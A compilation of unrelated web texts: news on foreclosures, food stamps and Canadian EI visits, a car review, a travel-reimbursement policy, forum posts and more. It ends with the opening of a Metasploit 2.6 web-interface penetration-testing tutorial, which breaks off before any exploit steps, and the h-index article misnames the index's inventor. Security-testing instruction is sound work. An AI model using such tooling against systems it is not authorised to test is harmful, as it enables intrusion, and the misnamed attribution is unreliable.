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New defaults appear as quickly as old ones are addressed.
Court systems across Florida have made little progress on their foreclosure backlogs during the past year — the pace of new home defaults has kept almost lockstep with those dismissed by a special task force.
Since the start of the July 1 fiscal year, case workers have moved 6,222 foreclosures through the 12th judicial court that covers Sarasota, Manatee and DeSoto counties.
But during that time, 5,174 new default filings have made their way into the pipeline — reducing the backlog by 1,048 cases in the past nine months and leaving an estimated logjam of 15,581 foreclosures, according to a report released Thursday by the State Courts Administrator.
The new look into the progress of Florida's backlog reduction initiative came on the same day lawmakers were set to debate a new foreclosure fast-track bill aimed at further expediting efforts to catch up.
"We're seeing them come in as quick as they ever have been," said David Hicks, a Sarasota foreclosure attorney. "We're still years away in that regard."
One problem haunting the court system is the number of foreclosure cases dismissed without a final judge's ruling, either because the bank did not follow proper procedure or because the paperwork was not in order.
Of the 6,222 default filings disposed of since July in the local circuit, more than a third were dismissed without a final judge or jury decision. Although some of those were settled through a deed-in-lieu, a majority will likely be back when the lenders obtain the necessary documents to proceed.
Across the state, there was an estimated foreclosure backlog of 352,890 cases as of March 31, down 24,817 from July 1. Of the 168,589 disposed of during that time, 42 percent were tossed before a judge could make a final recommendation, the report shows.
Court officials blame a lack of stable funding for the task force, which operates on one-year stipends granted by the Legislature.
When more funding from the state was awarded to increase hours for judges and case managers, the number of cases processed in the 12th circuit jumped from about 550 per month to 740.
Although the circuit administrators expects the earmark to be appropriated again in fiscal 2013, the lack of job security has created constant turnover with the four case managers hired to chip away at the local backlog, said Circuit Court Judge Lee Haworth.
"That really slows us down," Haworth said. "We can gain efficiencies, but when you're training new people every eight months, it really frustrates the process."
The new report from the Florida Courts Administrator was released on the same day a Senate bill proposed to speed up the foreclosure process was penciled on the calendar for debate.
The measure, which swept through the House this week, forces delinquent borrowers to more quickly present evidence as to why they should not lose their home. It also requires banks to have any necessary paperwork in order before they begin a foreclosure.
Opponents fear the proposal will infringe on homeowners' due process rights while making it more difficult for victims of fraudulent foreclosures to defend their case.
"The system is a mess right now," said Joseph Lehn, a Sarasota foreclosure attorney. "This may be a help if it expedites the time line and still allows due process. I just hope it doesn't create another rocket docket."

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As a logical consequence of the prolonged economic downturn, participation in the federal food stamp program is continuing to rise.
In fact, household participation has been climbing so steadily that it has dwarfed the last peak (which looks like a minor blip by comparison) set as a result of the immediate fallout following hurricane Katrina.
The latest data released by the Department of Agriculture indicated that in November, 141,067 recipients were added to the food stamps program with the current total increasing 3.04% on a year-over-year basis.
Individuals receiving food stamp benefits increased to 47.69 million which, as a ratio of the overall civilian non-institutional population, increased 1.46% on the month to now stand at a whopping 19.53% of the population.
Households receiving food stamps benefits increased by 73,952 to 23.01 million with the current total rising 4.50% above the level seen a year earlier
As participation continues to swell, so too has the total nominal benefit cost climbing 4.26% on a year-over-year basis to $6.47 billion for the month.


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Alice Handy: Mistress of the Universe(ity)
Alice Handy has the Midas touch. She ends her 29-year stint making gobs of money for the University of Virginia on December 1 to start a new business, making gobs of money for clients– and presumably, herself.
When Handy walked into former UVA CEO Ray Hunt's office in 1974 as UVA's first investment officer, the university's endowment was $60 million. She leaves it at $1.8 billion, one of the top five endowments for public universities, and in the top 25 of all U.S. colleges and universities.
She led the university out of its staid stocks and bonds strategy into the wide-open realm of international stocks, real estate, venture capital, and hedge funds.
While most people have no idea what a hedge fund is, Handy likes them because, "We can short stocks and go long." Okay, so most of us have no idea what that means either. That's why she warns, "Hedge funds are not for the naïve investor."
Handy isn't what you'd call risk-adverse. "To be in this business, you have to be willing to take risks," she says. You can tell that's her favorite part.
When everyone else lost his shirt on dot.bombs, Handy made money. Her secret? "We sold them before they crashed."
And at times when the stock market has crashed– 1987 and 2000-2002, say– Handy has been able to sleep at night because she takes a healthy, long-term perspective.
Dressed in capris with bare legs, UVA's treasurer is definitely a short timer. She's already started packing up her fourth-floor corner office with its Blue Ridge views in Fontaine Research Park.
The walls of the University of Virginia Investment Management Company, which Handy heads, are painted green (to inspire thoughts of money?) and blue, and some of the furniture is antique.
So how did the digs of university rainmakers escape the institutional décor typical of research parks? "A woman was in charge," Handy replies. And she offers one other decorating tip: "Never have red in an investment office."
Handy graduated from college with an economics degree in 1970 in the midst of Vietnam War protests. And while she had experience in bonds before coming to UVA, she learned about stocks on the job. "It was really fun for me," she recalls. "I grew with the endowment."
From her Cape Cod-born father, Handy inherited her work ethic and a sense of community involvement. But her competitive nature and tenacity all come from her mom.
Her new business will use her investment acumen to swell the coffers of schools that can't afford to have their own endowment offices. She's going to handle midsize clients– those in the $150 million to $800 million range– and she's already hinting at some "very prestigious" clients.
Her husband came up with the new company's name: Investure. "There's no way it was going to be called Handy Asset Management," she declares.
But with a track record like Handy's, whatever she calls it, it sounds like a pretty sure bet.
Age: 55
What brought you here? My ex
What's worst about living here? Driving
Favorite hangout? My back porch
Most overrated virtue? Loyalty
What would people be surprised to know about you? I was a high school majorette.
If you could change one thing about yourself, what would it be? More hair– my daughters' and son's hair!
What accomplishment are you proudest of? Endowment income
What do people find most annoying about you? I mumble.
Whom do you admire? My mentors: John Bloodgood at Travelers, Ray Hunt, and Leonard Sandridge
Favorite book? Comfort Me with Apples, Under the Tuscan Sun– books that combine cooking and travel
What subject causes you to rant? I don't rant.
What thrills you about life in the 21st century? Everything
What creeps you out about life in the 21st century? Getting old
What do you drive? Which one? We have about 10 old, paid-for cars with 150,000-plus miles.
What's in your car tape player right now? The Red Tent
What's your next journey? A new career
What do you regret? That I didn't live in New York when I was younger.
Favorite comfort food? Chocolate
What's always in your refrigerator? Moldy, antique food
Must-see TV? CNBC
Favorite cartoon? I don't read them.
Describe a perfect day. A very sunny, late spring day. Have a leisurely breakfast, go for a run, work in the garden, go shopping, read a book, and go out to dinner and a movie with friends.
Walter Mitty fantasy? Flashdance
Who'd play you in the movie? Audrey Hepburn (Roman Holiday), but that might be difficult.
Best advice you ever got? Be gracious.
Favorite bumper sticker? Put the bounce back in your life: Eat cranberries.
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Child and shoes and Polo or Ralph Lauren, have you? I suppose I was just out in the ozone because some of the most popular baby clothes out there are sporting the pony logo. For those of you just tuning in that would be the logo featuring a polo player with mallet (is that what it's called?) lifted high with an even higher price tag.
It's my motto that baby girls are only baby girls for a very short while and that i want to dress them as cute as can be, but how we can afford some of this stuff in the stores? Grief! I seem to be obsessing about clothing prices lately and I even promote some of the stuff on another site, but things really seem to be getting out of hand in kids clothes. Then again, my clothes don't seem to be as expensive as they once seemed. Is that just me justifying getting a new outfit?
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Android-on-Windows App BlueStacks Hits 10 Million Downloads
BlueStacks thought the idea of being able to run Android apps on a desktop computer would be popular with some consumers.
It just didn't know how many.
But in just over a year, the company has managed to get 10 million downloads of its free, still-in-beta software.
"When we launched the beta we all took bets on where we'd be in one year," BlueStacks CEO Rosen Sharma told AllThingsD. "No one said 10 million."
The most optimistic of the startup's employees thought that the app might manage to get a few hundred thousand downloads.
BlueStacks notes that more people have downloaded its app than have bought most of the Android tablets out there. Of course, downloading a free program and actually using it are two different things.
The company isn't saying how many people are regularly using the program, though its senior VP of marketing calls the number "spooky high."
In addition to striking new deals and aiming to get even more downloads, BlueStacks is also working to get to a more recent version of Android. I'm hearing that a Jelly Bean-compatible release of the program is coming soon.


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OTTAWA - The union representing federal employees is asking the government to stop sending its workers for unannounced visits at the home of employment insurance recipients.
The union says it fears for the safety of its employees, given the level of public anger over changes to the EI system that could affect seasonal workers.
"We're putting employees in situations that are very dangerous," Larry Rousseau, a spokesman for the Public Service Alliance of Canada, said Thursday.
He spoke following a report by The Canadian Press that public servants have been making unannounced visits since January, as part of an examination being conducted while the EI program is overhauled.
During those visits federal employees have been hand-delivering questionnaires and requests for people to appear at their regular EI interviews.
Prime Minister Stephen Harper defended the house calls when asked about them Thursday.
"Every year, unfortunately, in our employment insurance system hundreds of millions of dollars are identified or are lost through false, or fraudulent, or inappropriate claims," Harper said while in Saskatoon for an unrelated announcement.
"One of the jobs of Human Resources and Skills Development Canada is to ensure that the funds in the employment insurance system are there for people who have lost their jobs, who qualify, and who need that help."
About 1,200 EI beneficiaries will be receiving the visits, through the end of next month. A group of 50 federal civil servants have been assigned to make the house calls.
"We've been hearing from (civil servants) who have gone to houses ... and they've been badly received," Rousseau said.
"What will it take — an untoward or unfortunate incident (for these visits to stop)? Why do we have to test the limits of people's patience like this?"
From now on, people who frequently claim EI are expected to accept any job for which they're qualified, within 100 kilometres of home, as long as the pay is 70 per cent of their previous salary.
They must also prove they're actively seeking work.
Opponents say the plan is particularly harsh on Atlantic Canada and Quebec, which have a number of seasonal industries.
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IBM's 2011 study of more than 1,700 chief marketing officers revealed that the majority of the world's top marketing executives recognized a critical shift occurring in regards to customer engagement, but felt underprepared to manage the change. The IBM study also found that while 82 percent of CMOs say they plan to increase their use of social media over the next three to five years, only 26 percent are currently tracking blogs, 42 percent are tracking third party reviews and 48 percent are tracking consumer reviews to help shape their marketing strategies.
In response to this need, IBM is introducing a new set of integrated services designed to help businesses build and expand their digital marketing presence. IBM will help businesses use technology as a tool to build more meaningful, personalized interactions across mobile, social and online touchpoints.
IBM will rapidly assess a business's current needs against future marketing vision, conduct a gap analysis to evaluate which of the future capabilities are currently supported through existing business architecture and then determine the new processes, technology, data, skills, and governance required for the transformation strategy. IBM will design customized roadmaps for clients built on industry-leading techniques and methodologies developed in worldwide client engagements.
Analytic techniques will be used to drive customer engagement, social marketing and collaboration, and marketing performance optimization efforts. For example, retailers, banks, insurance companies, and communications providers are all challenged to deliver the right offers for their products and services to customers at the right time. Real-time predictive analytics can ease this task by analyzing the growing volumes of customer information – across various structured and unstructured data sources – to provide key insights into customer preferences. Combined with business rules based on knowledge of what offers and actions have proven successful with other customers in a similar situation, the analytics can provide recommended actions for that customer on a personalized basis.
"Today, businesses have a unique opportunity to rebrand themselves to become more customer-centric and relevant," said Adam Klaber, Managing Partner, New Markets, IBM Global Business Services. "As part of IBM's broader Smarter Commerce efforts, IBM works with businesses to deepen customer relationships and turn prospects into brand advocates. Leading with a data-driven approach, IBM helps CMOs and CIOs to engage with consumer audiences in a more personalized and authentic manner, to in turn, boost brand loyalty."
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· IBM is working with a major beverage provider to introduce exciting functionality to the customer engagement experience such as the ability to create personal drink recipes, assign and enable consumers to access their mobile devices to communicate the personal recipes to the vending machine. IBM also designed a new mobile website for the company's loyalty rewards program, providing access to over 16.5 million registered members (1 in every 9 households).
· IBM worked with a global luxury goods retailer to improve the customer shopping experience for its online channel. To reduce barriers in the checkout process, IBM created a streamlined process for browsing and checkout. In addition, IBM worked with the company to create targeted customer experiences for mobile smart phone and tablet users, as well as helped the company devise a strategy to expand its online presence to more countries.
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For those of you who don't want to mess around with the GPS BS, I heard it's right around the 33rd mile marker on the south side of the highway. Can anyone confirm this?
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That's correct! I visited the U2 Joshua Tree this last week and it's about three-tenths of a mile south of the 33rd mile marker. There's a good pull out for parking about 150 yards before the 33rd mile marker, BTW. Also, FYI, the markers on the south side of the highway are marked in miles like this: 33.0, 34.0, etc. The markers on the north side of the highway are marked in half miles like this: 33.5, 32.5, etc. The numbers get smaller as you travel towards Lone Pine.
For the sake of clarity, the parking spot is 150 yards west of the marker and on the south side of highway 190.


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The business office is located at the Espina Campus in Room 114. We are responsible for the reimbursement of travel and cash advances. We also take care of inventory for all of DACC.
Dona Ana Community College faculty, staff, and students routinely travel out of town on behalf of the University or in support of sponsored research activities. The University reimburses these travelers for necessary and reasonable business expenses incurred while traveling. Reimbursable expenses must conform to federal and state law and the restrictions placed upon sponsored projects. In order to provide this reimbursement, the University requires travelers to complete and submit an approved Reimbursement Request Form, which documents the business purpose of the trip and the types of expenses incurred.
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Travel related information is located under Chapter 5C
Summary of Transportation
The mode of transportation must be clearly indicated. Reimbursement for mileage is allowed only when employees are traveling from their primary official place of work on approved University business. Employees traveling from their place of work to an approved site related to their official duties, such as teaching an off-campus class in addition to regular duties, may receive reimbursement only if their regular or primary place of work is the originating point. If using a privately owned vehicle to conduct business away from your primary location a reading from the odometer or MapQuest is requested for reimbursement.
Employees traveling on official business shall receive $0.575 (effective January 1, 2020) per mile for each mile traveled in a privately owned vehicle. These rates are intended to cover all expenses related to use of the vehicle, such as gasoline, repairs, etc. University gasoline credit cards may not be used for personal vehicles.
Receipted Travel Expenses
Receipts are required when claiming reimbursement for actual lodging expenses or for other non-per diem expenses.
All receipts must be itemized, identifiable as to payee, and nature and must include the total amount of expenditure. Any information not given by the receipt must be added by the department; all such additions must be attested to by the employee's signature on the receipt. Expenses resulting from an employee's non-official or personal activities, and expenses related to guests of the employee, cannot be reimbursed.
- Personal expenses such as laundry, dry cleaning, movie rentals, and personal calls are not allowable. Employees traveling for a minimum of ten consecutive days and a maximum of one month will be allowed reimbursement for laundry and dry cleaning expenses. All laundry and dry cleaning expenses must be supported by original externally produced receipts and attested to by the traveler and approved by the Department Head, Dean, or Director.
Registration/Conference Fees
- Registration or Conference fees may be paid with a Procurement Card (P-Card).
- All registration forms and paid registration receipts should be included in a Reimbursement Request for travel purposes.
- Airfare may be paid with a Procurement Card (P-Card).
Personal Funds
- Employees who pay a registration fee with personal funds will be reimbursed upon presentation of the registration document and proof of payment, such as credit card slip or canceled check. Please make every effort to pay with a P-Card, whenever possible.
Team Travel
- All forms with backup should be submitted to the DACC Business Office 4 weeks prior to travel to allow adequate time for processing (this will allow time for processing the paperwork through the system for Meal/Lodging Advances for the students).
- Complete a Team Travel Request form providing all information for the travel. Provide all Index Numbers along with amounts to be charged to each index. Attach any explanations necessary to help clarify purpose of trip and charges to indices.
- Indicate Team Travel Advance Request for: Meals and/or Lodging.
- Include costs for students and sponsor.
- Registration Fee: Need prior approval of travel before paying registration fee.
Cash Advance
- Employee cash advances are available by submitting a completed Reimbursement Request travel form, ten business days in advance, to the DACC Business Office.
- The form payee should be the traveler and the amount of the advance should not exceed 90% of the estimated meals and lodging.
- The advance amount should be deducted from the employee's final reimbursement.
- Lost or stolen advances are considered a personal loss and must be repaid by the employee to whom it was distributed.
- Only one cash advance can be issued and outstanding per employee during any period of time
Per Diem
All per diem, mileage and meal reimbursement rates contained in Chapter 5C – Travel of the Business Procedures Manual, are established by the Board of Regents of New Mexico State University. Departments may elect to reimburse at an amount less than any of the provided rates, with the approval of the Department Head, Dean, or Director.
"Per diem" is a fixed daily allowance for meals and/or lodging. Lodging and meal receipts are not required when claiming per diem. In order to be eligible to claim per diem, employees must travel at least 50 miles (one way) from their primary official place of work. If travel is the same day (no overnight stay) travel period must be at least 9 hours.
- Local Travel:
Travel within 50 miles (one way) of the employee's primary official place of work.
- Domestic Travel:
Travel within the Continental U.S.
- Out-of-Country Travel:
Travel outside the continental United States (includes Hawaii and Alaska).
- International/Foreign Travel:
All travel outside the United States and any U.S. Possessions – Prior approval by NMSU is required at least 20 days prior to travel.
Local Mileage Policy – please submit mileage reimbursements at least quarterly
- Local Mileage Reimbursement
- Local mileage reimbursement for mileage incurred for travel to and from all DACC campuses and their corresponding communities as well as all local mileage incurred in Las Cruces will be calculated utilizing the reduced federal mileage rate. This rate is intended to cover fuel and oil expenses incurred by utilizing your personal vehicle. Employees are encouraged to utilize DACC motor pool vehicles whenever available and appropriate. In accordance with IRS regulations, any reimbursement request greater than 90 days is taxable.
- All other non-local mileage will continue to be reimbursed at the standard federal mileage rate for each mile traveled in a privately owned vehicle. This rate is intended to offset costs related to fuel, oil, maintenance, repairs, etc, incurred while utilizing your personal vehicle for long distances.
- All faculty and staff are encouraged to carpool to meetings and events whenever possible.
- The DACC motor pool reservation system has a carpool function allowing you to easily find coworkers interested in carpooling.
- All DACC meetings with cross campus attendees should utilize remote meeting technology whenever possible.
- DACC Library staff can provide support with remote meeting solutions such as Adobe Connect.
Transfer of any tagged item must be done through the proper channels, by first completing and submitting to the Business Office the Inventory Change Report, form and/or Approval for Home/Office Campus use of University Equipment, form is to be completed and signed by the appropriate individuals for all equipment (laptop computers, etc.) that are being used by staff/faculty off campus.
Inventory scanning is performed on a yearly basis (usually starting in September) notice will be given by the Business office when scanning can commence. The first scanning process is usually to be accomplished prior to the end of November, with completion to be done by mid February.
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Europe's mid-winter weather dented the fixture programme across parts of the continent with numerous matches called off across England, while Germany continued their mid-season break with the hosting of the DFB Women's Indoor Cup. French and European champions Lyon were unable to complete their league commitments, with PSG taking maximum advantage. It was a very different picture in the Southern Hemisphere where Australia's final two were finalised amidst some searing summer temperatures.
FIFA.com's weekly review of club action also visits Spain and Italy, where veteran Patrizia Panico continues to defy her younger opponents.
Australia: And then there were two....
One of Sydney FC and Melbourne Victory will be crowned W-League champions after the pair survived epic battles in sweltering heat against Brisbane Roar and Perth Glory respectively to win through to next Sunday's decider. Melbourne, who will be appearing in their maiden grand final, will play host after finishing higher on the ladder against a Sydney side who scraped into the play-offs on the final day of the regular season. The Victory edged a penalty shoot-out win over in-form Perth Glory with goalkeeper Brianna Davey making two stops, before American striker Jessica McDonald slotted home the decisive penalty. A Samantha Kerr double helped Sydney FC see off arch-rivals Brisbane Roar with a 3-2 comeback win, with the Queenslanders denied a fifth consecutive appearance in the season finale.
France: Weather dents Lyon's charge
It is a rare event when Lyon don't claim all three points and while that was the case in Round 14, it took Europe's harsh mid-winter weather to put a halt, at least temporarily, to the league leaders' charge towards another title. Lyon's visit to Vendenheim was postponed, allowing the European champions the opportunity to test their skills against visiting China PR outfit FC Shanghai in a friendly match. The debuts of their new signings - FIFA Women's World Cup™-winner Shinobu Ohno and USA star Megan Rapinoe - amongst the highlights in a 5-0 win. PSG took full advantage of Lyon's competitive absence with a 3-0 win over Toulouse to move within three points of their rivals, though having played a match extra. Fourth-placed Juvisy's match against Yzeure was also postponed.
Top three: Lyon (52 points), PSG (49), Montpellier (43)
Spain: Frontrunners push on
It was a case of as you were in Spain with the top five sides all victorious, and the 16-team league table stretched further as a result. Leaders Athletic Bilbao maintained their hold on the summit but were made to work as hard as any of the leading sides during their 2-1 win at Levante Las Planas. The undefeated Atletico Madrid remain three points off the pace after their 2-0 win at Valencia. Madrid-based Rayo Vallecano were the big winners after inflicting a 7-2 thumping on struggling Lagunak.
Top three: Athletic Bilbao (44), Atletico Madrid (41), Barcelona (37)
Italy: Evergreen Panico still shining
Torres maintained their firm grip on top spot with the Sardinian club cruising to a 4-2 win over Como. Veteran Patrizia Panico bagged a hat-trick with the 37-year-old still very much in the hunt for a remarkable 12th top goalscorers crown. The win saw the champions, who are hunting their fourth successive title, maintain their nine-point margin over the chasing pack. Two second-half strikes saw Tavagnacco secure a crucial 2-1 comeback win at Brescia to leapfrog their opponents into second.
Top three: Torres (49), Tavagnacco (40), Brescia (39)


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Bees ? Thai Basil –
Thai Basil is another honey bee approved plant for your garden! It is a type of sweet basil (native to Southeast Asia) and has "purple-flushed, lance-like leaves with a sweet licorice scent"(1). When it is blooming you'll see bees busily buzzing around it and drinking nectar all day long!
In general, bees seem to gravitate towards blue and purple flowers, and Thai Basil is a great example of this! Click here to view a list of other bee-friendly plants!
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New York couple rescued after sailboat runs aground on Wood Island
Pair suffers minor injuries from rough seas
A couple from New Rochelle, N.Y., was rescued Wednesday evening after their 42-foot, double-masted sailboat ran aground on Wood Island off Biddeford Pool.
Deputy Chief Scott Gagne of the Biddeford Fire Department said they received a call shortly after 5 p.m. saying that a sailboat with two people aboard was stuck on the rocks. Both Saco and Biddeford firefighters responded and used the couple's dinghy to bring them to the fire department boat. The Coast Guard also assisted.
Gagne said the couple suffered minor injuries. "They were tossed around quite a bit" by rough seas, he said. The boat also took on some water, Gagne said.
Authorities aren't sure why the boat went aground. The boat is still on the island and likely won't be removed until high tide occurs later Thursday, Gagne said.


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Hi, I heard good things aboot this forum so I thought I'd check it out since I just started using xfce (in xubuntu) fulltime (not loving the unity)
Welcome mvario. Xubuntu 11.04 is indeed a great succes
I like it a lot. And I gather a lot of folks who like a more traditional desktop will be migrating to it now that Ubuntu and Gnome are going off in new directions.


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2011 Volkswagen Jetta Review
Pros & Cons
- Spacious interior and trunk
- well-equipped
- smart electronics interface
- fuel-efficient diesel model.
- Disappointing interior quality
- slow throttle response with automatic
- numb steering
- sluggish base engine.
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Edmunds' Expert Review
While the new 2011 Volkswagen Jetta is bigger yet more affordable than before, it has lost many of the special attributes that formerly distinguished it from the pack.
Vehicle overview
The Volkswagen Jetta has historically bridged a gap between salt-of-the-earth compact cars and Germany's entry-level luxury sedans. In the past, people who bought a Jetta were just as likely to have also considered a BMW 3 Series or a Honda Accord. There was a premium quality to the Jetta that its buyers recognized as worth the extra cost of admission. Even so, Volkswagen believes this price premium also kept more people from considering its compact sedan in the first place, so the 2011 Volkswagen Jetta represents a dramatic shift in philosophy.
For the first time in the car's 30-year history, the 2011 Jetta is not the sedan version of the 2011 VW Golf. On the positive side, the new Jetta has a longer wheelbase for more rear seat room. But we're not fond of the revised steering, standard rear drum brakes and the base model's 2.0-liter engine. Additionally, the Jetta's interior no longer boasts the upscale materials and thoughtful little details that used to give it a premium feel.
So why all these changes, when in most ways they make the Jetta less desirable? The answer is price. The new base model Jetta S costs less than $15,000, and VW points out that it's actually $1,700 cheaper than a 2000 Jetta when you consider inflation. At the same time, the Jetta also boasts more standard features for the money than a 2011 Honda Civic. Add this to its big-car interior and you have a super-sized Jetta for American consumers who expect the kind of value you get at Costco.
Simply taken as it is, the 2011 VW Jetta is a solid choice for a small or midsize sedan. With its spacious interior, plenty of standard features and exclusive offering of a fuel-efficient clean-diesel engine, the new Jetta holds its own against other top choices like the Honda Civic, 2011 Hyundai Elantra, 2011 Kia Forte and 2011 Mazda 3. But for every customer who will notice the Jetta's smaller price and bigger size, we think there will be just as many previous VW customers put off by the new car's obvious cost-cutting.
For the Jetta, it's pay less and you get less. And in our opinion, that's a step backwards.
2011 Volkswagen Jetta models
The 2011 Volkswagen Jetta is a midsize sedan available in Base, S, SE, SEL and TDI trim levels. The Volkswagen Jetta Sportwagen is reviewed separately.
The Jetta Base is a stripped-down model that comes with 15-inch steel wheels, power locks and windows, a tilt-and-telescoping steering wheel, height-adjustable front seats, cloth upholstery and a 60/40 split-folding rear seat. The S adds keyless entry, air-conditioning, power/heated mirrors and a four-speaker sound system with CD player and an auxiliary audio jack.
The Jetta SE gets a more powerful engine, 16-inch steel wheels, cruise control, a front center armrest and storage compartment, a rear seat center armrest, a trunk pass-through and premium vinyl upholstery. The SE Convenience package adds 16-inch alloy wheels, heated windshield washer nozzles, heated front seats, leather-wrapped steering wheel and shift knob, Bluetooth and a six-speaker sound system with satellite radio and an iPod interface. A sunroof can be added to the Convenience package and with it comes a premium six-speaker sound system with a touchscreen interface, SD memory card reader and a six-CD changer.
The SEL includes all the SE's optional equipment (other than the sunroof, which is a stand-alone option), plus 17-inch alloy wheels, rear disc brakes, foglamps, chrome exterior trim, keyless ignition/entry, manual front seat lumbar adjustment, a trip computer and a navigation system. The SEL Sport package adds the sunroof, a sport-tuned suspension, sport seats and sport pedals.
The Jetta TDI with its turbodiesel engine is equipped similarly to an SE with the Convenience and Sunroof packages. It gets the SEL's rear disc brakes and trip computer as well. When equipped with the optional navigation system, the TDI also gets foglamps, exterior chrome trim, keyless ignition/entry, manual front seat lumbar adjustment and the touchscreen navigation/stereo interface.
2011 Highlights
Performance & mpg
The 2011 Volkswagen Jetta Base and S come with a 2.0-liter four-cylinder that produces 115 horsepower and 125 pound-feet of torque. A five-speed manual transmission is standard and a six-speed automatic is optional. EPA-estimated fuel economy is 23 mpg city/32 mpg highway and 26 mpg combined with the automatic and 24/34/28 with the manual.
The Jetta SE and SEL get a 2.5-liter inline-5 that produces 170 hp and 177 lb-ft of torque. It gets the same transmission choices as the 2.0-liter inline-4. Its EPA-estimated fuel economy is actually quite similar, with 24/31/27 with the automatic and 23/33/26 with the manual. In Edmunds performance testing, a manual-equipped 2011 Jetta SEL went from zero to 60 mph in 8.4 seconds -- a good time for a midsize sedan with this type of fuel economy.
The Jetta TDI features a turbocharged 2.0-liter diesel inline-4 that produces 140 hp and 236 lb-ft of torque. A six-speed manual is standard and Volkswagen's six-speed dual-clutch automated manual gearbox is optional. With either transmission, estimated fuel economy stands at an excellent 30/42/34.
The 2011 VW Jetta comes standard with traction and stability control, front side airbags, side curtain airbags and active front head restraints. All Jettas have antilock brakes with brake assist; however, the S and SE have rear drums. The SEL and TDI get rear discs. In Edmunds brake testing of an SEL, the Jetta came to a stop from 60 mph in a better-than-average 117 feet.
We have yet to sample a 2011 Volkswagen Jetta with the wheezy 2.0-liter base engine, but we doubt it has gotten any more energetic since it disappeared from the Jetta lineup back in '04. The 2.5-liter five-cylinder is obviously a better choice, and even if it isn't the smoothest or most aurally pleasing engine in its class, it is certainly robust. We've noticed an odd, delayed part-throttle response when this engine is paired with the six-speed automatic, so make sure to step on it during a test-drive to see if you find this quirk as annoying as we have. When the manual transmission is in place, we didn't notice anything amiss. Our pick, however, would be the TDI, as its turbodiesel engine boasts robust torque and frugal fuel economy.
Competent yet unremarkable handling is what we've come to expect from the Jetta, and the new car doesn't disappoint. The switch from an independent rear suspension to a semi-independent torsion beam doesn't seem to adversely affect handling or ride, as this remains a very solid-feeling German car. Though the steering has a small dead spot on-center and a somewhat artificial feel, we have no complaints as far as its actual performance, as it's quick and precise enough when guiding the Jetta through corners.
The 2011 Jetta has a disappointing interior, something we've never said about a Jetta before. Though build quality is still tight, the high-quality, soft-touch materials of the 2010 Jetta have been replaced by cheap hard surfaces. Also gone are features that used to make the Jetta stand apart from other small sedans, like a height- and length-adjustable center armrest, infinitely adjustable back rests for the front seat, rear-seat air vents and a carpeted trunk lid with struts rather than gooseneck hinges. The Jetta Sportwagen, which continues to be based on the Golf, has these features and is indeed a nicer car.
For all that, the new Jetta is quite roomy. It's easy to find a comfortable seating position, and a full-size adult can sit in the back with room to spare. The 15.5-cubic-foot trunk is actually bigger than those of the Honda Accord and outgoing VW Passat. We're also big fans of the available touchscreen stereo interface, which features a redundant control knob ideal for controlling an iPod.
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In the academic world, it's publish or perish; getting papers accepted by the right journals can make or break a researcher's career. But beyond a cushy tenured position, it's difficult to measure success. In 2005, physicist Jorge Hurst suggested the h-index, a quantitative way to measure the success of scientists via their publication record. This score takes into account both the number and the quality of papers a researcher has published, with quality measured as the number of times each paper has been cited in peer-reviewed journals. H-indices are commonly considered in tenure decisions, making this measure an important one, especially for scientists early in their career.
However, this index only measures the success a researcher achieved so far; it doesn't predict their future career trajectory. Some scientists stall out after a few big papers; others become breakthrough stars after a slow start. So how we estimate what a scientist's career will look like several years down the road? A recent article in Nature suggests that we can predict scientific success, but that we need to take into account several attributes of the researcher (such as the breadth of their research).
The authors created a dataset of over 3,000 researchers, mostly neuroscientists, who had published their first paper between five and 12 years ago. They calculated h-indices for each of these scientists for each year after they published their first paper. Then, they re-created various elements of each scientist's resume each year, such as the average number of coauthors on their papers, the number of NIH R-type grants they had, and the number of distinct journals in which they had published. The authors of the study then determined whether any of these elements could predict their success, in the form of their h-index, in later years.
Their variables predicted scientific success quite well; the R2 value of their full model was a "respectable" 0.67, according to the authors. Five factors contributed most to a researcher's future h-index: their total number of published articles to date, the number of years since their first article was published, the total number of distinct journals in which they had published, the number of articles they had published in "prestigious" journals (such as Science and Nature), and their current h-index. Not surprisingly, the best indicator of a scientist's h-index one year in the future was their current h-index; however, as the authors predicted success five and ten years later, the number of articles in prestigious journals and the number of distinct journals became more important than the current h-index.
The authors note that their predictions for neuroscientists were especially good, and that the model was somewhat less successful in other fields, such as evolutionary biology (however, only 151 evolutionary scientists were included in the sample). If you're interested, the authors provide equations to predict what your own h-index may be in one, five, and ten years.
While the number and quality of a scientist's publications are clearly important, other factors, such as their breadth, are also influential in their success in the future, at least in terms of h-indices. Ultimately though, whether or not the h-index is the best metric of "scientific success" remains a topic of great debate.
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Started with the V2 demo and did the green organic bit, was impressed by the ease of being able to build a model so I ordered the full version and used the V3 beta to make the robot bits using the slab maker tool and some boolean subtraction.
CyborgCurvy3d by gssev, on Flickr
I had been using high resolutions so the final object has 1.6 million polys in it!
Way too big for using in Carrara on my system so I reduced some bits using V3s tool but some I had to export and use meshlab and got it down to 200k polys. Imported into carrara8 selected separate mesh for each material which allowed me to split the imorted obj into the separated parts. Added some bones so I could pose with some shiney shaders of Carraras.
CyborgCarrara by gssev, on Flickr
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By Chris Gates, CISSP, CPTS, CEH
In a previous tutorial by another EH-Net columnist, Justin Peltier, we showed you the command line interface for Metasploit. This time around, Chris Gates takes you through the process of automating your penetration tests with the web interface provided with the Metasploit Framework. This one covers v2.6, but look for one in the coming months on v3. As always, the web interface, as with any GUI, offers ease of use. Of course, with that ease of use comes less flexibility. Chris takes you on an extensive tour of a handy addition to this powerful tool.
Caution: With tools such as these, we do not condone their use for anything but testing networks for which you have the authority and for implementing defensive measures. Have fun!
Table of Contents
- Introduction
- Installation for Windows
- Installation for *NIX
- Test System Setup & Targets on the Network
- Getting Ready & Starting the MSFWeb Interface
- Using the Metasploit Framework Web Interface
- Picking an Exploit, Payload, & Target
- Checking and Launching the Exploit
- Things I Learned Along the Way
- Changing the MSF Web Interface's Theme
- References
- About the Author
- Appendix A: Payload Explanations
The Metasploit Framework is an advanced open-source platform for developing, testing, and using exploit code. It's a powerful tool for penetration testing, exploit development, and vulnerability research.
From the Metasploit Framework v2.0 Crash Course Guide:
"The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetration testing, shellcode development, and vulnerability research. The majority of the Framework is composed of object-oriented Perl code, with optional components written in C, assembler, and Python."
And some more from the web site: http://www.metasploit.com/projects/Framework/index.html
"The Metasploit Framework is an advanced open-source exploit development platform. The 2.6 release includes three user interfaces, 148 exploits and 75 payloads. The Framework will run on any modern operating system that has a working Perl interpreter. The Windows installer includes a slimmed-down version of the Cygwin environment."
Installation for Windows
It's pretty simple, download it from the site http://www.metasploit.com/tools/framework-2.6.exe and double click. It installs everything you need. After the install, in your programs section, you should have something that looks like this:
